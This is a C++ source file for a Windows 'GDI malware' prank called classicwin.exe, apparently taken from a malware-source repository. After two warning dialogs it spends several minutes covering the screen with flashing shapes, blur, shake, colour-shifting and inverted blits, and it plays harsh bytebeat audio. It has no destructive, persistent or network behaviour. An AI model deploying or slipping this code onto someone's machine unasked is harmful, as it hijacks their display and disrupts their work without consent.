MalwareSource / src /FedouM /classicwin.cpp
PatoFlamejanteTV's picture
Add files using upload-large-folder tool
48e3321 verified
#include <Windows.h>
#include <windowsx.h>
#include <tchar.h>
#include <stdio.h>
#pragma comment(lib, "winmm.lib")
#pragma comment(lib, "Msimg32.lib")
#define M_PI 3.14159265358979323846264338327950288
#include <time.h>
#include <ctime>
#include <math.h>
#include <cmath>
#include <cstdlib>
typedef union _RGBQUAD {
COLORREF rgb;
struct {
BYTE b;
BYTE g;
BYTE r;
BYTE Reserved;
};
}_RGBQUAD, *PRGBQUAD;
//typedef NTSTATUS(NTAPI* NRHEdef)(NTSTATUS, ULONG, ULONG, PULONG, ULONG, PULONG);
//typedef NTSTATUS(NTAPI* RAPdef)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
typedef struct
{
FLOAT h;
FLOAT s;
FLOAT l;
} HSL;
namespace Colors
{
//These HSL functions was made by Wipet, credits to him!
//OBS: I used it in 3 payloads
//Btw ArTicZera created HSV functions, but it sucks unfortunatelly
//So I didn't used in this malware.
HSL rgb2hsl(RGBQUAD rgb)
{
HSL hsl;
BYTE r = rgb.rgbRed;
BYTE g = rgb.rgbGreen;
BYTE b = rgb.rgbBlue;
FLOAT _r = (FLOAT)r / 255.f;
FLOAT _g = (FLOAT)g / 255.f;
FLOAT _b = (FLOAT)b / 255.f;
FLOAT rgbMin = min(min(_r, _g), _b);
FLOAT rgbMax = max(max(_r, _g), _b);
FLOAT fDelta = rgbMax - rgbMin;
FLOAT deltaR;
FLOAT deltaG;
FLOAT deltaB;
FLOAT h = 0.f;
FLOAT s = 0.f;
FLOAT l = (FLOAT)((rgbMax + rgbMin) / 2.f);
if (fDelta != 0.f)
{
s = l < .5f ? (FLOAT)(fDelta / (rgbMax + rgbMin)) : (FLOAT)(fDelta / (2.f - rgbMax - rgbMin));
deltaR = (FLOAT)(((rgbMax - _r) / 6.f + (fDelta / 2.f)) / fDelta);
deltaG = (FLOAT)(((rgbMax - _g) / 6.f + (fDelta / 2.f)) / fDelta);
deltaB = (FLOAT)(((rgbMax - _b) / 6.f + (fDelta / 2.f)) / fDelta);
if (_r == rgbMax) h = deltaB - deltaG;
else if (_g == rgbMax) h = (1.f / 3.f) + deltaR - deltaB;
else if (_b == rgbMax) h = (2.f / 3.f) + deltaG - deltaR;
if (h < 0.f) h += 1.f;
if (h > 1.f) h -= 1.f;
}
hsl.h = h;
hsl.s = s;
hsl.l = l;
return hsl;
}
RGBQUAD hsl2rgb(HSL hsl)
{
RGBQUAD rgb;
FLOAT r = hsl.l;
FLOAT g = hsl.l;
FLOAT b = hsl.l;
FLOAT h = hsl.h;
FLOAT sl = hsl.s;
FLOAT l = hsl.l;
FLOAT v = (l <= .5f) ? (l * (1.f + sl)) : (l + sl - l * sl);
FLOAT m;
FLOAT sv;
FLOAT fract;
FLOAT vsf;
FLOAT mid1;
FLOAT mid2;
INT sextant;
if (v > 0.f)
{
m = l + l - v;
sv = (v - m) / v;
h *= 6.f;
sextant = (INT)h;
fract = h - sextant;
vsf = v * sv * fract;
mid1 = m + vsf;
mid2 = v - vsf;
switch (sextant)
{
case 0:
r = v;
g = mid1;
b = m;
break;
case 1:
r = mid2;
g = v;
b = m;
break;
case 2:
r = m;
g = v;
b = mid1;
break;
case 3:
r = m;
g = mid2;
b = v;
break;
case 4:
r = mid1;
g = m;
b = v;
break;
case 5:
r = v;
g = m;
b = mid2;
break;
}
}
rgb.rgbRed = (BYTE)(r * 255.f);
rgb.rgbGreen = (BYTE)(g * 255.f);
rgb.rgbBlue = (BYTE)(b * 255.f);
return rgb;
}
}
int red, green, blue;
bool ifcolorblue = false, ifblue = false;
COLORREF Hue(int length) { //Credits to Void_/GetMBR
if (red != length) {
red < length; red++;
if (ifblue == true) {
return RGB(red, 0, length);
}
else {
return RGB(red, 0, 0);
}
}
else {
if (green != length) {
green < length; green++;
return RGB(length, green, 0);
}
else {
if (blue != length) {
blue < length; blue++;
return RGB(0, length, blue);
}
else {
red = 0; green = 0; blue = 0;
ifblue = true;
}
}
}
}
DWORD WINAPI balls(LPVOID lpParam) {
int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
int signX = 1;
int signY = 1;
int signX1 = 1;
int signY1 = 1;
int incrementor = 10;
int x = 10;
int y = 10;
while (1) {
HDC hdc = GetDC(0);
int top_x = 0 + x;
int top_y = 0 + y;
int bottom_x = 100 + x;
int bottom_y = 100 + y;
x += incrementor * signX;
y += incrementor * signY;
HBRUSH brush = CreateSolidBrush(Hue(239));
SelectObject(hdc, brush);
Ellipse(hdc, top_x, top_y, bottom_x, bottom_y);
if (y >= GetSystemMetrics(SM_CYSCREEN))
{
signY = -1;
}
if (x >= GetSystemMetrics(SM_CXSCREEN))
{
signX = -1;
}
if (y == 0)
{
signY = 1;
}
if (x == 0)
{
signX = 1;
}
Sleep(10);
DeleteObject(brush);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI shake(LPVOID lpParam) {
while (1) {
HDC hdc = GetDC(0);
int w = GetSystemMetrics(0);
int h = GetSystemMetrics(1);
BitBlt(hdc, rand() % 5, rand() % 5, w, h, hdc, rand() % 5, rand() % 5, SRCCOPY);
Sleep(10);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI blur(LPVOID lpParam) {
HDC hdc = GetDC(NULL);
HDC dcCopy = CreateCompatibleDC(hdc);
int w = GetSystemMetrics(0);
int h = GetSystemMetrics(1);
BITMAPINFO bmpi = { 0 };
BLENDFUNCTION blur;
HBITMAP bmp;
bmpi.bmiHeader.biSize = sizeof(bmpi);
bmpi.bmiHeader.biWidth = w;
bmpi.bmiHeader.biHeight = h;
bmpi.bmiHeader.biPlanes = 1;
bmpi.bmiHeader.biBitCount = 32;
bmpi.bmiHeader.biCompression = BI_RGB;
bmp = CreateDIBSection(hdc, &bmpi, 0, 0, NULL, 0);
SelectObject(dcCopy, bmp);
blur.BlendOp = AC_SRC_OVER;
blur.BlendFlags = 0;
blur.AlphaFormat = 0;
blur.SourceConstantAlpha = 10;
while (1) {
hdc = GetDC(0);
//BitBlt(hcdc, 0, 0, w, h, hdc, 0, 0, SRCCOPY);
StretchBlt(dcCopy, -20, -20, w + 40, h + 40, hdc, 0, 0, w, h, SRCCOPY);
AlphaBlend(hdc, 0, 0, w, h, dcCopy, 0, 0, w, h, blur);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI tunnel(LPVOID lpParam) {
HDC hdc = GetDC(NULL);
HDC dcCopy = CreateCompatibleDC(hdc);
int w = GetSystemMetrics(0);
int h = GetSystemMetrics(1);
BITMAPINFO bmpi = { 0 };
BLENDFUNCTION tunnel;
HBITMAP bmp;
bmpi.bmiHeader.biSize = sizeof(bmpi);
bmpi.bmiHeader.biWidth = w;
bmpi.bmiHeader.biHeight = h;
bmpi.bmiHeader.biPlanes = 1;
bmpi.bmiHeader.biBitCount = 32;
bmpi.bmiHeader.biCompression = BI_RGB;
bmp = CreateDIBSection(hdc, &bmpi, 0, 0, NULL, 0);
SelectObject(dcCopy, bmp);
tunnel.BlendOp = AC_SRC_OVER;
tunnel.BlendFlags = 0;
tunnel.AlphaFormat = 0;
tunnel.SourceConstantAlpha = 50;
while (1) {
hdc = GetDC(0);
//BitBlt(hcdc, 0, 0, w, h, hdc, 0, 0, SRCCOPY);
StretchBlt(dcCopy, -40, -40, w + 80, h + 80, hdc, 0, 0, w, h, SRCCOPY);
AlphaBlend(hdc, 0, 0, w, h, dcCopy, 0, 0, w, h, tunnel);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI shader1(LPVOID lpParam) {
HDC hdcScreen = GetDC(0), hdcMem = CreateCompatibleDC(hdcScreen);
INT w = GetSystemMetrics(0), h = GetSystemMetrics(1);
BITMAPINFO bmi = { 0 };
PRGBQUAD rgbScreen = { 0 };
bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biWidth = w;
bmi.bmiHeader.biHeight = h;
HBITMAP hbmTemp = CreateDIBSection(hdcScreen, &bmi, NULL, (void**)&rgbScreen, NULL, NULL);
SelectObject(hdcMem, hbmTemp);
for (;;) {
hdcScreen = GetDC(0);
BitBlt(hdcMem, 0, 0, w, h, hdcScreen, 0, 0, SRCCOPY);
for (INT i = 0; i < w * h; i++) {
INT x = i % w, y = i / w;
rgbScreen[i].rgb += x + y;
}
BitBlt(hdcScreen, 0, 0, w, h, hdcMem, 0, 0, SRCCOPY);
ReleaseDC(NULL, hdcScreen); DeleteDC(hdcScreen);
}
}
DWORD WINAPI shader2(LPVOID lpParam) {
HDC hdcScreen = GetDC(0), hdcMem = CreateCompatibleDC(hdcScreen);
INT w = GetSystemMetrics(0), h = GetSystemMetrics(1);
BITMAPINFO bmi = { 0 };
PRGBQUAD rgbScreen = { 0 };
bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biWidth = w;
bmi.bmiHeader.biHeight = h;
HBITMAP hbmTemp = CreateDIBSection(hdcScreen, &bmi, NULL, (void**)&rgbScreen, NULL, NULL);
SelectObject(hdcMem, hbmTemp);
for (;;) {
hdcScreen = GetDC(0);
BitBlt(hdcMem, 0, 0, w, h, hdcScreen, 0, 0, SRCCOPY);
for (INT i = 0; i < w * h; i++) {
INT x = i % w, y = i / w;
rgbScreen[i].rgb += x ^ y;
}
BitBlt(hdcScreen, 0, 0, w, h, hdcMem, 0, 0, SRCCOPY);
ReleaseDC(NULL, hdcScreen); DeleteDC(hdcScreen);
}
}
DWORD WINAPI shader3(LPVOID lpParam) {
HDC hdcScreen = GetDC(0), hdcMem = CreateCompatibleDC(hdcScreen);
INT w = GetSystemMetrics(0), h = GetSystemMetrics(1);
BITMAPINFO bmi = { 0 };
PRGBQUAD rgbScreen = { 0 };
bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biWidth = w;
bmi.bmiHeader.biHeight = h;
HBITMAP hbmTemp = CreateDIBSection(hdcScreen, &bmi, NULL, (void**)&rgbScreen, NULL, NULL);
SelectObject(hdcMem, hbmTemp);
for (;;) {
hdcScreen = GetDC(0);
BitBlt(hdcMem, 0, 0, w, h, hdcScreen, 0, 0, SRCCOPY);
for (INT i = 0; i < w * h; i++) {
//INT x = i % w, y = i / w;
rgbScreen[i].rgb += 360;
}
BitBlt(hdcScreen, 0, 0, w, h, hdcMem, 0, 0, SRCCOPY);
ReleaseDC(NULL, hdcScreen); DeleteDC(hdcScreen);
}
}
DWORD WINAPI pacman(LPVOID lpParam) {
while (1) {
HDC hdc = GetDC(0);
int x = GetSystemMetrics(0);
int y = GetSystemMetrics(1);
HBRUSH brush = CreateSolidBrush(RGB(rand() % 255, rand() % 255, rand() % 255));
SelectObject(hdc, brush);
Pie(hdc, rand() % x, rand() % y, rand() % x, rand() % y, rand() % x, rand() % y, rand() % x, rand() % y);
DeleteObject(brush);
ReleaseDC(0, hdc);
//Sleep(10);
}
}
DWORD WINAPI payload(LPVOID lpParam) {
int sw, sh;
while (1) {
HDC hdc = GetDC(0);
sw = GetSystemMetrics(0);
sh = GetSystemMetrics(1);
StretchBlt(hdc, -20, -20, sw + 40, sh + 40, hdc, 0, 0, sw, sh, SRCCOPY);
ReleaseDC(0, hdc);
Sleep(4);
}
}
DWORD WINAPI textout(LPVOID lpParam) {
int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
int signX = 1;
int signY = 1;
int signX1 = 1;
int signY1 = 1;
int incrementor = 10;
int x = 10;
int y = 10;
LPCSTR lpText = "classicwin.exe";
while (1) {
HDC hdc = GetDC(0);
x += incrementor * signX;
y += incrementor * signY;
int top_x = 0 + x;
int top_y = 0 + y;
SetBkMode(hdc, 0);
SetTextColor(hdc, Hue(239));
//SetBkColor(hdc, RGB(rand() % 255, rand() % 255, rand() % 255));
HFONT font = CreateFontA(43, 32, 0, 0, FW_THIN, 0, 1, 0, ANSI_CHARSET, 0, 0, 0, 0, "Baby Kruffy");
SelectObject(hdc, font);
TextOutA(hdc, top_x, top_y, lpText, strlen(lpText));
if (y >= GetSystemMetrics(SM_CYSCREEN))
{
signY = -1;
}
if (x >= GetSystemMetrics(SM_CXSCREEN))
{
signX = -1;
}
if (y == 0)
{
signY = 1;
}
if (x == 0)
{
signX = 1;
}
Sleep(4);
DeleteObject(font);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI squares(LPVOID lpParam) {
int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
int signX = 1;
int signY = 1;
int signX1 = 1;
int signY1 = 1;
int incrementor = 10;
int x = 10;
int y = 10;
while (1) {
HDC hdc = GetDC(0);
int top_x = 0 + x;
int top_y = 0 + y;
int bottom_x = 100 + x;
int bottom_y = 100 + y;
x += incrementor * signX;
y += incrementor * signY;
HBRUSH brush = CreateSolidBrush(Hue(239));
SelectObject(hdc, brush);
Rectangle(hdc, top_x, top_y, bottom_x, bottom_y);
if (y >= GetSystemMetrics(SM_CYSCREEN))
{
signY = -1;
}
if (x >= GetSystemMetrics(SM_CXSCREEN))
{
signX = -1;
}
if (y == 0)
{
signY = 1;
}
if (x == 0)
{
signX = 1;
}
Sleep(10);
DeleteObject(brush);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI patblt(LPVOID lpParam)
{
while (1) {
HDC hdc = GetDC(NULL);
int w = GetSystemMetrics(SM_CXSCREEN),
h = GetSystemMetrics(SM_CYSCREEN);
HBRUSH brush = CreateSolidBrush(RGB(rand() % 255, rand() % 255, rand() % 255));
SelectObject(hdc, brush);
PatBlt(hdc, 0, 0, w, h, PATINVERT);
DeleteObject(brush);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI particles(LPVOID lpParam) {
HDC hdc = GetDC(HWND_DESKTOP);
int X = GetSystemMetrics(SM_CXSCREEN);
int Y = GetSystemMetrics(SM_CYSCREEN);
while (TRUE)
{
HDC hdc = GetDC(HWND_DESKTOP);
int sw = GetSystemMetrics(SM_CXSCREEN);
int sh = GetSystemMetrics(SM_CYSCREEN);
BitBlt(hdc, rand() % 10, rand() % 10, sw, sh, hdc, rand() % 10, rand() % 10, SRCINVERT);
ReleaseDC(0, hdc);
if ((rand() % 100 + 1) % 67 == 0) InvalidateRect(0, 0, 0);
}
}
VOID WINAPI sound1() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(t * t / (1 + (t >> 9 & t >> 8)) & 128);
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound2() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(t >> 5 | (t >> 2) * (t >> 5));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound3() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(t + (t & t ^ t >> 6) - t * (t >> 9 & (t % 16 ? 2 : 6) & t >> 9));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound4() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(2 * (t >> 5 & t) - (t >> 5) + t * (t >> 14 & 14));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound5() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 11025, 11025, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[11025 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(t * t / (1 + (t >> 9 & t >> 8)) & 128);
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound6() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>((t*(t >> 8 | t >> 9) & 46 & t >> 8)) ^ (t&t >> 13 | t >> 6);
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound7() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(t >> 6 | t | t >> (t >> 16)) * 10 + ((t >> 11) & 7);
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound8() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 11025, 11025, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[11025 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>((t * (t << 1 ^ (t << 1) + (t >> 7) & t >> 12 | t >> 4 - (1 ^ 7 & t >> 19) | t >> 7)));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
int main() {
if (MessageBoxW(NULL, L"What? You want run this? This is malware.\nRun Only On Virtual Machine!!!\nThis is not a security!!! And not safe!!!", L"classicwin.exe by rarka", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
{
ExitProcess(0);
}
else
if (MessageBoxW(NULL, L"THIS IS LAST WARNING!! NOT RUN THIS ON YOUR PC!!!!\n PLS RUN ONLY ON VIRTUAL MACHINE!!! ", L"!!Last Warning!! classicwin.exe by rarka", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
{
ExitProcess(0);
}
HANDLE d1 = CreateThread(0, 0, balls, 0, 0, 0);
HANDLE d2 = CreateThread(0, 0, shake, 0, 0, 0);
sound1();
Sleep(30000);
Sleep(200);
TerminateThread(d1, 0);
CloseHandle(d1);
TerminateThread(d2, 0);
CloseHandle(d2);
HANDLE d3 = CreateThread(0, 0, blur, 0, 0, 0);
HANDLE d4 = CreateThread(0, 0, shader1, 0, 0, 0);
sound2();
Sleep(30000);
Sleep(200);
TerminateThread(d3, 0);
CloseHandle(d3);
TerminateThread(d4, 0);
CloseHandle(d4);
HANDLE d5 = CreateThread(0, 0, tunnel, 0, 0, 0);
sound3();
Sleep(30000);
Sleep(200);
TerminateThread(d5, 0);
CloseHandle(d5);
HANDLE d6 = CreateThread(0, 0, shader2, 0, 0, 0);
sound4();
Sleep(30000);
Sleep(200);
TerminateThread(d6, 0);
CloseHandle(d6);
HANDLE d7 = CreateThread(0, 0, pacman, 0, 0, 0);
sound5();
Sleep(30000);
Sleep(200);
TerminateThread(d7, 0);
CloseHandle(d7);
HANDLE d8 = CreateThread(0, 0, shader3, 0, 0, 0);
sound6();
Sleep(30000);
Sleep(200);
TerminateThread(d8, 0);
CloseHandle(d8);
HANDLE d9 = CreateThread(0, 0, payload, 0, 0, 0);
HANDLE d10 = CreateThread(0, 0, squares, 0, 0, 0);
sound7();
Sleep(30000);
Sleep(200);
TerminateThread(d9, 0);
CloseHandle(d9);
TerminateThread(d10, 0);
CloseHandle(d10);
HANDLE d11 = CreateThread(0, 0, textout, 0, 0, 0);
sound7();
Sleep(30000);
Sleep(200);
TerminateThread(d11, 0);
CloseHandle(d11);
HANDLE d13 = CreateThread(0, 0, squares, 0, 0, 0);
HANDLE d14 = CreateThread(0, 0, patblt, 0, 0, 0);
sound7();
Sleep(30000);
Sleep(200);
TerminateThread(d13, 0);
CloseHandle(d13);
TerminateThread(d14, 0);
CloseHandle(d14);
HANDLE d15 = CreateThread(0, 0, particles, 0, 0, 0);
HANDLE d16 = CreateThread(0, 0, squares, 0, 0, 0);
sound8();
Sleep(30000);
Sleep(200);
}